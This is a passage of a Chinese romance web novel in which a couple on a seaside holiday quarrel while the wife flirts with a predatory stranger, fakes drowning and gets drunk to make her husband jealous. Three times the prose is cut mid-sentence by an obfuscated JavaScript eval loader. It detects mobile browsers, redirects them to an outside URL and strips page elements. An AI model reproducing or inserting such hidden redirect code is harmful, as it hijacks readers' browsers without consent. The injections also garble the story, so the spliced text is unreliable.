现在的女生都这样吗?黎祁觉得无法理解,幸好洛苏比她那个闺蜜要稍微正常一点。 “两位也是来旅游的?介不介意一起喝酒?”一个白净斯文戴着眼镜的年轻男人拿着两罐啤酒从旁边桌子走了过来,身后还跟着一个表情严肃的男人。 洛苏眼珠一转,笑嘻嘻地说:“不介意,请坐。” 送上门的傻瓜,不利用白不利用。 暗暗瞄一眼他俩的穿着打扮,低调但品质还不错,能住得起这家酒店,经济条件应该尚可。长得也还行,一个白净斯文,一个威武严肃,倒不寒碜,可以一用。 “你好,这边再来一打生蚝,半打啤酒,美女还想吃什么随便点,今天我请客。”眼镜男豪爽地挥手叫来服务生,他早就看到洛苏喜欢吃生蚝。 “你们好,我是王皓,这是我朋友张铎,我们也是来旅游的。” 王皓早注意到了隔壁桌这个开朗漂亮的美女,她衣着靓丽、笑语盈盈,是今晚在场最吸引人注意的女人。旅行嘛,能多点艳遇何乐而不为?反正旅行结束拍拍屁股就走人了,谁也不记得谁。 可见一个高大彪悍又冷着脸、一看就不是善茬的男人陪着她,只能望而却步。不死心又观察了一会儿,发现这两个人的关系有点奇怪,男帅女美,很是般配。但说是情侣,动作不够亲昵。说是兄妹,长得完全不像,再说也没有这么大的兄妹一起出来旅行的。那大概就是一方想勾搭另一方的关系了。 他是情场高手,心里忍不住感叹暴殄天物,兄弟啊,你想追美女怎么还一直冷着一张脸呢?让我来给你示范一下吧。于是找了个理由,就主动出击了。 “洛苏,他是黎祁。”洛苏举起啤酒,冲王皓露出一个甜美的微笑。 这些男人,用施蜜的话说,屁股一翘,她就知道他们在想什么。 除了黎祁。 “认识你们很高兴。”王皓举起啤酒笑得很热情,却偷偷拿眼光打量黎祁。长得很帅,是那种男人也觉得帅的帅,但是衣着很普通,看不出牌子。 黎祁不说话,只喝白开水,对王皓打量的目光视而不见,眼睛从他身上轻轻扫过,带着淡淡的嘲笑和轻蔑。 “二位是?”王皓好奇,先搞清楚关系才好下手。 “朋友。”洛苏抢先回答。 黎祁瞟她一眼,没有否认。 洛苏看到王皓明显心花怒放,笑容更加灿烂。 “那我们干一杯,庆祝有缘千里来相会。”王皓看向坐在身边的洛苏,隐隐幽香被夜风送到他鼻子里,他感到浑身一酥。 洛苏知道他在肆无忌惮地看自己,但忍了下来,爽快地举起酒杯和他碰了碰。 黎祁也合群地举起白开水。有意思,这局面他读书的时候就见多了,没想到十年过去了,套路还没变。 “这位兄弟不喝酒?” 黎祁笑了一下:“客气了,叫我黎祁就行,我牙疼。” 装! 洛苏憋住笑,牙疼还啃玉米?怎么不疼死你呢! “那太可惜了,没事,以茶代酒也行。” 几个人开始边吃边聊,王皓显然见多识广,把自己四处旅行的见闻拿出来说,什么在新疆骑马被马甩了下来,在神农架滑雪摔了个人仰马翻,在海南冲浪喝一肚子盐水……他表情生动,言辞幽默,把洛苏逗得哈哈大笑,桌上的空啤酒罐也越来越多。 他的朋友张铎偶尔插一句,气氛还算热烈。只有黎祁,始终一言不发。 生蚝上来了,王皓往洛苏面前推推:“你喜欢吃的。” 洛苏摆手:“我今天吃得够多了,太撑了,吃不下了。” 王皓面露憾色,这是他用来讨好美女的,没想到用不上,但转念一想,神色暧昧地说:“生蚝可是好东西,你们听说过没有?” 张铎配合地摇头。洛苏忍着笑和恶心,也故作不知。 王皓观察了很久,他觉得洛苏肯定是被黎祁缠得不行才勉强跟他一起旅行的。不然,两个人怎么老不说话?就他过来这么一会儿,和洛苏说的话都比刚才他俩单独在一起的时候多。洛苏开朗活泼,笑靥如花,海风不时吹起她的长发,美极了。而且看起来对他也不反感,他准备往前一步,继续试探。 “生蚝号称是女人的美容院,男人的加油站。不管是男人还是女人,多吃点生蚝很有好处。” 都是成年人,闻弦歌即知雅意,洛苏配合地笑笑,低下头抿了一口啤酒。 加油站,加你妈的头! “不早了,今天我请客,你们二位多吃点。”黎祁突然站起来,招来服务生结账,然后面无表情看着洛苏,“走吧。” 不是商量,是不容置疑的通知。 洛苏一愣,差点笑出来。竭力克制着,起身捋捋裙子,抱歉地说:“今天很开心,有缘再见。” 王皓猝不及防,马上起身挽留:“还早,要不去唱歌?” 洛苏看了黎祁的冷脸一眼,“算了,我今天累了,想早点休息。” “那加个微信,明天再约?”王皓着急地调出二维码。 洛苏想了想,行,废物利用得彻底。两人加了微信,在王皓依依不舍的目光中,她和黎祁一前一后离开了沙滩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207666|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “还看?人都走了。”张铎对朋友的行为见怪不怪,不认可但也不阻拦。 “她真漂亮,你看到没,皮肤白得发光,笑的时候有酒窝,又甜又媚。” “我劝你啊,小心被打。她身边那个人可不是好惹的。” “怕什么,别人的女朋友我都睡过,何况他们只是朋友。” “不听老人言,吃亏在眼前。” 黎祁一言不发回到房间,转身见洛苏脸上笑意明显,他突然觉得很生气。 “你会不会有点饥不择食了?”语气是洛苏熟悉的冷冷的嘲讽。 洛苏简直想仰天大笑。“什么?我没听懂。” 黎祁从上到下扫视她,皱眉:“你知不知道你走光了?” 他的身高可以轻而易举看到洛苏领口的风光,那个死色鬼应该也看得见。 洛苏慌忙捂住胸口:“谁让你看了?” “我可以不看,你有本事把所有我这么高的男人的眼睛都戳瞎。”他本来不想管,但大家在一张证上面,真的袖手旁观总觉得不太够意思。何况洛玉柱和苏爱云对他不错。黎祁这么安慰自己。 “长得高了不起啊!”洛苏嘟囔着,但还是乖乖去洗澡,然后换了件正常的睡裙。 “你知不知道现在海水污染很严重?”黑暗中,黎祁突然说话了。 两米大床,两人各占据一角,互不侵犯。空调温度有点低,洛苏觉得有点冷,微微的热气从黎祁那边传过来,她忍不住往那边挪了挪。 “所以呢?你还关心环境污染呢。”洛苏揶揄他,她知道他想说什么,故意装听不懂。 “所以,少吃海鲜,对身体没好处。” 洛苏再也忍不住了,肩膀一抖一抖地,笑得完全停不下来。 “你不吃凭什么也不让别人吃啊?江河污染也很严重,你做鱼丸的鱼说不定也污染了。” “随便你。”黎祁翻个身,不再理她。 也许是累了,这一晚洛苏睡得很沉。迷迷糊糊间,感觉越来越冷,只得不停往那热气来源的方向移动,最后,直到彻底贴近了一块坚实火热的墙才停下来。 第二天洛苏醒的时候已经十点了,床上只有她一个人,她发现她占了黎祁的位置,她自己那半边床明显平整很多。 黎祁呢?她起身四处看。窗帘没拉开,洗手间静悄悄。“滴滴”刷卡的声音响起,房门开了又关,黎祁提着一个袋子走了进来。 “你是来旅行还是来睡懒觉的?给,这是你的早餐。” 洛苏睡眼惺忪,脑子还有点迷糊,呆呆看着他。他换了一件白色短袖衬衫,里面是深灰色T恤,看起来干净清爽,像个清纯男大。施蜜最喜欢的那种。 还没来得及说话,手机响了。 “早上好,起床了吗?今天有什么安排,要不要一起去游泳?我是自由泳高手哦,你会游泳吗?不会的话我教你。”昨天认识的新朋友发来了热情邀请。 游泳?想看她穿泳衣? 洛苏的脑子马上开始高效运转。她还没见过黎祁光着上半身的样子呢,这样就能看到他到底有几块腹肌了! “可以啊,下午两点,游泳池见。” 洛苏吃着黎祁给她打包回来的包子,随口问:“你会游泳吗?” 黎祁坐在沙发上看手机,头都不抬:“不会。” 30. 谁摸你了? 洛苏的泳衣款式并不暴露但很有设计感,橘红色连体衣,侧边是可以调节松紧的绑带,大腿和胸口处綴了同色系荷叶边,让胸口风光半遮半掩。半露背不会过分张扬,又刚好露出好看的蝴蝶骨。洛苏满意地对着镜子照了照,嗯,真是天生丽质。 洛苏由衷感激爹妈给了她一副好皮囊,虽然个子不算高,但是比例得当,该有肉的地方有肉,该瘦的地方瘦,尤其是穿上这身泳衣之后,更显得身材修长又婀娜,甜美性感中透着健康元气。 她披上一件长款防晒衣,推开洗手间的门。 黎祁瞟了她一眼,扭开头。他没换衣服,还是那身男大打扮,只是把脚上的球鞋换成了人字拖,长裤换成了沙滩裤。 “你跟着我干嘛,你不是不会游泳吗?”洛苏停下脚步,明知故问。 “谁告诉你我是去游泳的?”黎祁索性走到洛苏前面,迈着大步扬长而去。 酒店的室内游泳池很大,午休时间没什么人,只有寥寥几个游客躺在远处的躺椅上休息,旁边儿童池里两三个精力旺盛的小孩在嬉戏,救生员百无聊赖地坐在梯凳上打哈欠。 王皓一眼就看到洛苏,热情地跑过来,眼睛明目张胆地在洛苏身上扫了一圈。 我忍。 幸好死白豆腐跟来了,不然今天肯定要被吃豆腐。洛苏压抑着心里的厌恶,没办法,已经演到这个份上了,突然撤退不合适,挤出假笑:“你朋友呢?” “他不喜欢游泳。”王皓看到洛苏身后面无表情的黎祁,脸抽了抽,但很快恢复正常,冲他点点头。 “你身材真好!”王皓由衷赞叹一声,又偷偷打眼去看黎祁。见他满不在乎地走到池边的躺椅上,坐下就开始玩手机,也没穿泳裤,好像并不打算游泳。 “谢谢,你也不错。”洛苏扫了王皓一眼,难怪都说现在渣男门槛也提高了,长得丑不能叫渣男,只能叫案底。他穿衣服的时候有点斯文败类那味道,脱了衣服竟然不是弱鸡,明显有练过的痕迹。 “你会游泳吗?”王皓递过一瓶运动饮料,又扔一瓶给黎祁,“你不游吗?” 不等黎祁回答,洛苏截住话头:“他不会。我会一点,狗刨式,等会儿你可别笑我。” 黎祁冷哼一声,拧开饮料喝了一口。他倒想看看洛苏今天到底要演什么戏码,难道她真的看不出这个王皓是个居心不良的死变态? 两人开始热身,王皓的目光不时落在洛苏饱满的胸部,又装作无意地移开。黎祁的视线一直紧紧跟着他,不自觉落到他腹部,到处勾搭女孩子也着实下了点本钱,六块腹肌挺整齐。继续往下,一般般。 洛苏热身完毕,脱下防晒衣,顺手扔到黎祁身上。黎祁突然被满头少女香笼罩,呼吸一滞,脸上泛红,手忙脚乱把洛苏的衣服从身上拿下来放到一边,顺便凶巴巴地瞪了她一眼。 洛苏对他这一眼视而不见,和王皓有说有笑地下水了。 恒温游泳池水温适中,室外艳阳高照,泡在水里舒服又凉快,她一边游,一边偷偷瞄黎祁。他看起来根本不关心这边的情况,低头专注地看手机。 大傻子!洛苏忍不住在心里骂他。她穿泳衣这么好看他竟然一眼都不看,不是傻子是什么?可转念想想,这才是黎祁不是么,如果他像王皓这样,那她也不会和施蜜打赌了。 “你游得很好啊,平时肯定经常练习吧?”王皓没吹牛,他的确擅长自由泳,洛苏见他在水里的动作又漂亮又敏捷,扑腾着就游完了五十米,看起来毫不费力。自由泳可比蛙泳难多了。 王皓抹了一把脸上的水,他摘了眼镜洛苏才发现他眼睛也生得不错,难怪有资本到处拈花惹草。 “每周会游一下,我喜欢运动,也喜欢到处旅行。你呢,平时做什么消遣?” “画画,我是学美术的。”洛苏随口回答。 “难怪你品位这么好,要不明天给我画一幅?”王皓看着洛苏,视线根本挪不开。 他不是一时兴起才提议游泳的。要知道一个女人的真面目就得游泳。首先到了泳池,妆得掉一大半,是不是真美女立马见分晓。其次,泳衣能看出一个女人的真实身材,假屁股假胸都藏不住。最后,有更多身体接触的机会。他泳技娴熟,就算没有英雄救美的机会,也能展示一下他的雄性魅力。 眼前的洛苏在水里十足就是一朵出水芙蓉。没有那些化妆品的修饰,看起来清澈干净。而且凭他的眼力,洛苏身材也很好,起码是C。 “看心情。”洛苏冲他露出一个微笑,转身游走了。 “那我可得把你哄好了。”王皓笑笑,追了上去。 这话分明已经逾越了。洛苏觉得很不舒服,忍不住回头去看黎祁。他没玩手机,已经躺下了,甚至好像已经闭上眼睛睡着了。 死白豆腐,谁让你来游泳池睡觉了! 洛苏突然觉得有点败兴。她许久没游泳了,小时候洛玉柱把她扔到长江里,说哪有江边长大的孩子不会游泳的!就这样,洛苏被迫学会了游泳。 王皓像个绿头苍蝇一样喋喋不休、如影随形跟在她身边,洛苏有一搭没一搭地回几句,情绪不高。 她浮在水里,觉得必须得下点血本了。深呼吸,憋了长长一口气,然后就沉到了水里。 “救命……抽筋了……”洛苏竭力回想小时候被父亲扔到水里的感觉,双手胡乱拍打水面,浮浮沉沉,忍着恶心灌了几口水,又扯着嗓子喊了几声。溺水很容易,但假装溺水很难。她吐出嘴里的水,不甘心地想,这回死白豆腐如果见死不救,她晚上就把他踢下床,让他睡沙发! 先游过来的是王皓。 洛苏马上划动着往反方向扑腾了几米,不想给他英雄救美的机会。 幸好泳池人少,洛苏的动静引起了其余人的注意。昏昏欲睡的救生员见泳池里有人扑腾,似乎溺水了,慌得一脚滑下梯凳就要下水救人。可被人拦住了。 水花飞溅,洛苏模糊中看到黎祁和救生员站在一起,看她的眼神似乎还带着笑意。王皓已经近在咫尺,他的手马上就要碰到她的身体了。 死白豆腐! 洛苏吸一口气又沉到了水里。幸好爸爸说过,游泳的第一课是学会闭气。 池面陷入了令人恐惧的平静,一个水花也没有。洛苏和王皓都消失在水面。 救生员怕了,活动下手脚准备下水,再耽搁下去他饭碗就没了。可身边的人比他更快,溅起的水花扑了他一脸。 黎祁像一条鱼,身姿优美动作流畅,很快就游到了洛苏身边。水下,王皓正在努力揽住洛苏的身体,她看起来好像因为恐惧在努力挣扎,但黎祁知道,她在装,不然早就被王皓救起来了。他浮上水面换了一口气,然后沉到水里,抱住洛苏的腰,把她带离王皓的纠缠。 洛苏喜上心头,马上顺杆爬,像八爪鱼一样缠在黎祁身上,顺便趁乱朝身后的王皓蹬了一脚。 王皓到手的鸭子飞了也不甘心,追上来用力扯住洛苏的手腕,也不装斯文礼貌了,挑衅地看着黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207667|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁,仿佛自己的玩具被他抢了。 洛苏用力抽了抽,没抽出来,手腕被扯得生疼,干脆伏到黎祁怀里,装作力竭,但另一只手还死死攀着他的脖子,生怕被他甩开。嗯,这身体真结实,她用胸感受了一下黎祁的胸肌,觉得很满意。 “松开。”黎祁看着王皓,语气里带着明显的警告。 “哼,有能者居之。”王皓轻蔑地睨着黎祁,老子要钱有钱,要模样有模样,要情趣有情趣,你这小子算哪根葱,敢从我嘴里抢肉? 黎祁懒得跟他废话,空出的那只手一拳挥了过去,水面激起高高的水花,旁边儿童池的小孩惊喜得大叫“哇喷泉!”。 王皓被黎祁下了面子,火气也上来了,刚要回他一拳,肚子就挨了一脚,幸好有池水缓冲,不然他非吐血不可。可他在勾搭女人方面从没遭遇过滑铁卢,不管是面子还是里子都受不了,退了退,还要反击,突然小腿一阵抽痛,浑身力气像被突然卸掉,他扑腾两下沉到了水里。 “救生员,他抽筋了。”黎祁冷静地对浮在身边一脸茫然的救生员说。 救生员如蒙大赦,感觉一身本事终于有用武之地了,很快就把王皓捞了起来。 洛苏紧紧抱着黎祁,手在水里趁机乱摸。死白豆腐挺保守,下水还穿衣服,不过手感真不错。 黎祁抱着洛苏离开泳池,径直把她抱回了房间。洛苏乐得窝在他怀里,享受公主抱待遇。要不是还得继续装死,她都想笑出来了。白豆腐身体真不错,长长一段路,他喘都不喘,洛苏脸贴着他胸口,听到他心跳沉稳有力,呼吸平稳,丝毫不乱,圈住他脖子的手忍不住紧了紧。 黎祁用脚关上房门,然后轻轻把洛苏放到床上。洛苏还在想是该继续装死还是表演缓缓醒来,一块浴巾挟着风声砸到她脸上。 “你摸够了吗?” 洛苏鲤鱼打挺,拍案而起:“谁摸你了?你别冤枉我!” 黎祁浑身湿漉漉的站在床脚看她,表情很严肃,有种逼人的气势,洛苏感到有点心虚,但还是忍不住瞄他。他衣服湿透了,贴在身上勾勒出好看的肌肉线条,但他表情很冷,洛苏不敢再看他,拿起浴巾擦头发。 美人出水,头发半干半湿披在肩头,又长又白的腿随意曲着,胸口随着她的动作轻微晃动,雪白肌肤在黑色发丝间若隐若现,特别扎眼。 黎祁吞了口口水,扭头进了洗手间。衣服湿湿的黏在身上很不舒服,他脱掉上衣,看着镜子里的自己。刚才水里面,洛苏在他身上放肆乱摸,虽然隔着衣服,可她小手摸到他腹部的时候,他感到一阵突如其来的战栗和紧张,幸好是在水里,没人看出异样。他一手抱着她,一手划水,只得任她为所欲为。 心里莫名感觉很气。气洛苏这么随便,随随便便跟陌生男人游泳,又随随便便在男人身上乱摸。但想到她跟闺蜜说的话,难道演这么大一出戏就是为了摸他有几块腹肌? 他用浴巾擦干身上的水,索性光着上半身,然后打开了洗手间的门。 福利突然从天而降,理智让洛苏想躲开但是本能又忍不住偷看。是她最喜欢的薄肌,不过分强壮但肌肉块垒分明,线条清晰,尤其是腹肌,她暗暗数了数,八块,整齐而均匀,赏心悦目,她差点脱口而出“可以在你的腹肌上滑滑梯吗”……仅存的一丝理智把她拉了回来,舌头有点打结:“你……你干嘛不穿衣服?” 黎祁对她笑笑,一步步走近,直至床沿才停下脚步。 “你不是想摸吗?来吧。” 31. 老公 洛苏忍不住咽了口口水,定定看着近在咫尺的黎祁。她一时间没法判断黎祁说的话是真是假。 她觉得这不是她认识的白豆腐,明明保守得要死,同处一室几个月他从来没在她面前露过不该露的地方,连换衣服都要躲到洗手间的人怎么突然转性?这一定是阴谋。 那他想干嘛?想看自己出丑?想看自己中美男计,然后大肆对她进行嘲笑讥讽? 洛苏突然感觉自己很被动。明明是她想用美人计让黎祁上钩,眼看就要达成目标了,怎么突然攻守易势,变成她身陷美男计了? 不,不能中计! “谁想摸你?别太自恋了!”洛苏扭开头,不去看他闪闪发光的腹肌。 “真不想摸吗?过了这个村可没这个店了。”黎祁忍笑,凑到洛苏耳边提醒。他就知道,她是个色厉内荏的纸老虎。只有贼心没有贼胆。顶多也就跟她那个奇葩闺蜜口嗨一下,不然不会那么多次被自己碰到脚踝就浑身发抖。 洛苏耳朵一热,抓浴巾的手微微用力。 黎祁干脆抓住她的手,慢慢往自己身上贴,心里在默数,1,2,3……他看到洛苏俏脸憋得通红,还在垂死挣扎。 “你有病吧!”洛苏猛地挣脱他的手,整个人缩进被子里,警惕地瞪着黎祁。 “那你没机会了。”黎祁转身从行李箱拿起一件T恤套上。 房间的温度突然冷下来,洛苏看着他走进洗手间,“哐”一下关上了门。明显带着气。 喜怒无常,别是大姨爹来了吧?洛苏撇嘴,有点弄不清楚这块死白豆腐怎么了。 连王皓那个人渣的腹肌她都忍不住看了几眼,面对自己正眼都不看,难道自己还不如那个人渣?黎祁心里突然有点不爽。论人品、论样貌、论身材,他都碾压那个死变态好吗?除了没钱。 哦,对,他没钱。黎祁顿感灵台一片清明。所以他不喜欢旅行,他差点忘了,洛苏是他的老板,他们是雇佣关系,她雇佣他当员工,他交换的是厨艺,不是别的。 再出来的时候已经恢复了往常的冰块脸。直到晚上睡觉,黎祁都没再主动说话。他用实际行动表明自己的态度。洛苏怕冷,往他那边挪一点,他就往床边躲一下。 洛苏察觉到他的抗拒,坏心眼又来了,装作看不出他的闪躲,他退,她进,直到他退无可退。 床边突然一空,黎祁起身,把空调关了。 切,小气鬼。 洛苏翻身回到自己的地盘,看谁先捱不住! 就算有海风,炎天暑热不开空调也闷热得厉害,加上海边湿气重,房间的空气渐渐开始变得沉闷湿热,让人有点喘不过气。 江城是出名的火炉城市,洛苏从小就怕热,但是女孩子天生体寒也怕冷,空调开26°正好。现在没空调,根本热得睡不着。她翻来覆去,头发被汗湿黏在脸上和脖子上,难受得不行。 她腾的一下起身,找到遥控器又把空调打开了。 一个小时后,黎祁起身把空调关了。 …… 就这样开开关关到了深夜,只听得到外面海浪起伏,夜风瑟瑟。 “你到底想怎么样?” 黑暗中,黎祁有点忍无可忍了,声音里明显有些疲惫和无奈。 “是你想怎么样,这么热的天你把空调关了,想热死我啊!” 洛苏不解,不知道这死白豆腐到底怎么了,明明几个月来两人默契地保持着平衡,你装聋我作哑,相安无事,他为什么非要打破这美好的平静呢?我不嫌弃你,你还嫌弃起我了?简直是倒反天罡! “行,你要空调是吗?”黎祁把空调打开,然后抓起枕头和被子躺到了沙发上。 幸好沙发挺大,他勉强能睡得下。大不了接下来的几天,他就睡沙发。 赤裸裸的抗拒和嫌弃。 洛苏感觉自己的心好像被轻轻蜇了一下,有点痛。二十四年来,虽然她没真的和谁谈过恋爱,但暧昧拉扯也不少,这是第一次有人明晃晃地对她表现出厌恶。 对,就是厌恶,她感受到了黎祁的厌恶。仿佛她是什么脏东西,他想离她远远的。 洛苏不再说话,缩成一团背对沙发。除了空调的风声,房间再次陷入了令人窒息的静默。她知道黎祁也没睡着,她太熟悉他睡着时候的呼吸频率了。 剧本突然超出了洛苏的掌控,她感到心里堵得慌,躲在被子里拿起手机给施蜜发消息。 “我觉得我被你坑了。” 施蜜是夜猫子,回消息很快。 “???出师不利?”后面跟着一个大大的坏笑。 “我觉得他讨厌我。”不知道为什么,打出这行字后,洛苏觉得有点想哭,原来被人讨厌是这么难受的感觉。 “???”施蜜的睡意瞬间全无。 洛苏把今天发生的事情大概说了一下,越说越觉得委屈。 “以我丰富的经验,只有两个可能。一是他真的讨厌你,亲密关系恐惧症对待感情是很谨慎的,可能他真的觉得你太随便了。” “我才不是!”洛苏气得差点叫起来。她随便?她要是随便,前男友都能一起踢足球了。 “冷静冷静,我当然知道你不是,不然怎么还是小处女?但是他不知道啊!” “那他到底什么意思?” “你完了。” “???”洛苏不明所以,她怎么完了? “你来真的了。不然你干嘛那么在意他对你的态度?他不过是回到了最开始的样子,你就受不了了,你是真的喜欢上他了。”施蜜发完这句话,看热闹不嫌事大地加了个“吃够爱情的苦”表情包。 “你别瞎说,我是为了赢,你知道我和所有女人一样喜欢驴包。”洛苏狡辩。 “行行,你就继续死要面子活受罪吧,反正你睡不到他就算输,我可以提前选包了……” 三分钟后,施蜜的手机又响了。 “教我。”一个小人可怜巴巴地跪在地上磕头。 “哈哈哈……”施蜜仰天大笑。 “第二个可能就是……” 见施蜜还在卖关子,洛苏急了,“说话说一半买方便面永远没调料包!” “第二个可能就是他吃醋了。” 洛苏睡到快中午才起来,扫一眼房间,又没人。不过桌上放着打包盒,她吸了一鼻子,是食物的香气。 嘿嘿,嘴硬心软。 昨晚和施蜜聊完之后洛苏的心情变得很好,阳光透过窗帘缝隙钻进来,艳阳高照的大晴天,正适合进行第三个计划。 “昨天真不好意思,你没事吧?今天晚上我请你吃饭,不知道你有没有空?”洛苏飞快打出一行字,发给了昨天的冤大头。 她是知道黎祁的力气的,不知道王皓怎么样了,可千万别有事,不然今天去哪找这么好用的工具人? “没事,小打小闹而已,怎么好意思让你请客,当然是我请美女吃饭。你喜欢吃什么?” 王皓也是不撞南墙不回头的个性,昨天被黎祁下了面子,又被他踹了一脚,幸好平时经常锻炼,不然今天可能就起不来了。本来想就这样算了,可洛苏主动邀约,他那股色心又按耐不住了。 “你还去?昨天那一脚不疼?”张铎诧异,他只一眼就觉得黎祁是个狠人,眼神里有种光脚的不怕穿鞋的决绝和无畏,为了一个女人,至于吗? “这回是美女主动邀请我,大概是要给我赔礼道歉。”王皓这么说服自己。 “行,我不劝你了,你好自为之。别鼻青脸肿地回来就行。我可不帮你报警。” 洛苏把晚餐约在酒店的清吧。吃什么饭啊,今晚的主题是喝酒!死白豆腐你不喝是吗,我喝你总管不着吧! 她挑出最漂亮的那条大红色吊带裙,没有一丝花纹和杂色,收腰贴身设计显出她身材的全部优点,比平时又多了些优雅妩媚。配上黑色长发和烈焰红唇,很复古很女人味。 她自顾自出门,也不跟黎祁说话。黎祁也不问,好像完全不关他的事一样。 洛苏心里轻嗤一声,哼,有本事别跟来! 七点钟,洛苏准时到了清吧。王皓果然已经在等她了,看到她的一瞬间,眼睛骤然睁大了。洛苏满意地露齿微笑,看来效果不错。 “你今晚真漂亮!”原本王皓已经没有刚开始那么强烈的心思了,可是看到洛苏一身红裙美艳似火,又蠢蠢欲动了。 “谢谢,你也很帅。”洛苏看了他一眼,诚心地赞了一句。不论人品,王皓的皮相的确还不错,估计很多女人都吃他这套。幸好她从小接受洛玉柱和施蜜的男性劣根性教育, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207668|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本不吃他这款。 两人坐在角落的卡座里,开始边吃边喝。卡座对着清吧的大门,进进出出尽收眼底。洛苏小口喝啤酒,不时扫一眼门口,心里有点打鼓,她今天是真的准备豁出老本了。 “你的朋友呢?”王皓今天没看到黎祁是有点窃喜的,但也十分好奇。他实在拿不准两人的关系,说黎祁想勾搭洛苏,不太像,不然今天不会不跟来。说洛苏想勾搭黎祁,那更不可能,洛苏这样的美女,只需要挥挥手,前赴后继的男人多如牛毛。 “他不喜欢喝酒。”洛苏捻起一块薯片,“咔嚓”一声,就像变戏法一样,那个不喜欢喝酒的男人出现了。 “哈哈,别是酒不醉人人自醉吧。”王皓的注意力全在洛苏身上,根本没注意到门口的动静。 洛苏拿起酒杯抿了一口,然后递到王皓面前:“那你呢?醉了吗?” 王皓一愣,几次接触下来,他觉得洛苏虽然活泼开朗,但言行并不开放随便,否则他早就得手了,那种聊一个小时就跟他去房间的女人并不在少数。她突然的撩拨让他大吃一惊,接着是欣喜若狂。今天再不拿下洛苏,他就准备撤了,反正旅行中的目标很多,没必要在一棵树上吊死。 “早就醉了。”王皓握住洛苏的手,想就着他的手喝一口她喝过的酒。 “想得美。”洛苏调皮地把手收回,娇嗔地飞了个媚眼给王皓。 余光掠过,她看到服务生端了一杯橙汁给死人脸。 哈哈哈,一个大男人到酒吧喝橙汁,真是绝了! “你好,这里要一杯长岛冰茶。”洛苏朝服务生挥手。 长岛冰茶并不是茶,只是有茶的口感,实际上度数不低,酒量差的人很容易喝醉。 洛苏故意的,干餐饮的从小被酒味熏大,一杯长岛冰茶对她来说是小意思,只是今天的戏没有酒的加持,容易被看穿。做戏做全套,她是一个有职业素养的人。 “你能喝?这酒可有点烈。”王皓看着红红的液体,有些兴奋。酒能助兴,更能助他。 “那就看谁先醉咯。”洛苏冲他笑笑,满不在乎地喝了一口。 王皓被她笑容一勾,浑身酥软,两人你一杯我一杯,不知道又叫了几次酒,最后桌上摆满了空杯和空瓶。 洛苏还维持着最后的理智。这个死变态一直灌酒,她不知道自己到底喝了多少,只觉得胃里难受得厉害,头也晕,黎祁的身影在她眼里多出来一个。 “不喝了不喝了,你喝多了,我扶你回去休息。”王皓结了账,扶起洛苏。 他的手触碰到她腰的那一刻,洛苏很想报警。 “我还能喝……”洛苏装作不肯走,推开了王皓。 两人拉扯不停,在安静的清吧里格外显眼。不时有好奇的目光投过来,又一脸了然地收回视线。 成年男女,后面会发生什么,不言而喻。 “我们走……”王皓心急如焚,扶住洛苏的肩,把她带进了怀里。洛苏喝了酒,白白的皮肤上染了一层好看的淡粉色,像个待剥壳的鸡蛋。也是一个精致的礼物盒子,他已经迫不及待要当那个开箱的人。 有人挡住了他的去路。 “放开她。”黎祁拨开王皓,把洛苏抢到了自己手里。他实在忍无可忍,从来没见过这么不自爱又这么蠢的女人。可这个女人和他在一个证上,如果放任不管,他觉得对不起洛玉柱夫妻俩。 王皓被推了个趔趄,酒醒了一半。他也有点喝多了,不过他不会再像昨天那样让到嘴的鸭子飞了。看到周围人都扭着头准备看热闹,他心一横,轻蔑地瞟着黎祁:“你小子怎么阴魂不散啊!我警告你别坏我好事,你瞧瞧你,一身穷酸样,洛苏这样的美女是你伺候得起的吗?”他早已经看出黎祁没钱,穿的平价货,怎么敢肖想美女? 黎祁眼里的火倏地一下燃起来了。蔑视和嘲笑是他从小就习惯了的,可那些陌生人怎么看他,他根本不在乎。但侮辱的话从眼前这个衣着光鲜的人渣嘴里说出来,他突然觉得很愤怒。投胎是他能选的吗?靠自己的本事吃饭是什么丢人的事情吗?没钱就应该任人践踏吗? 他单手把洛苏抱紧,刚要说话,醉得迷迷糊糊的洛苏突然身子一扭,扑进他怀里,紧紧抱住他的脖子,在他脸上亲了一下,然后娇媚亲热地喊了一声“老公——”。 32. 摸了吗? 酒吧陷入一阵诡异的安静。 洛苏抱着黎祁的腰继续装不省人事,仿佛刚才那声“老公”只是醉话,但实际上耳朵竖得老高,眼睛半睁半闭,看到王皓脸一阵红一阵白,周围原本等着看热闹的人逐渐变成了看笑话,心里爽翻了天。她从小就护短,哪怕是老豆,她也见不得别人看不起他。 哼,你算什么东西,我老公什么时候轮到你欺负了?要欺负也只能我欺负! 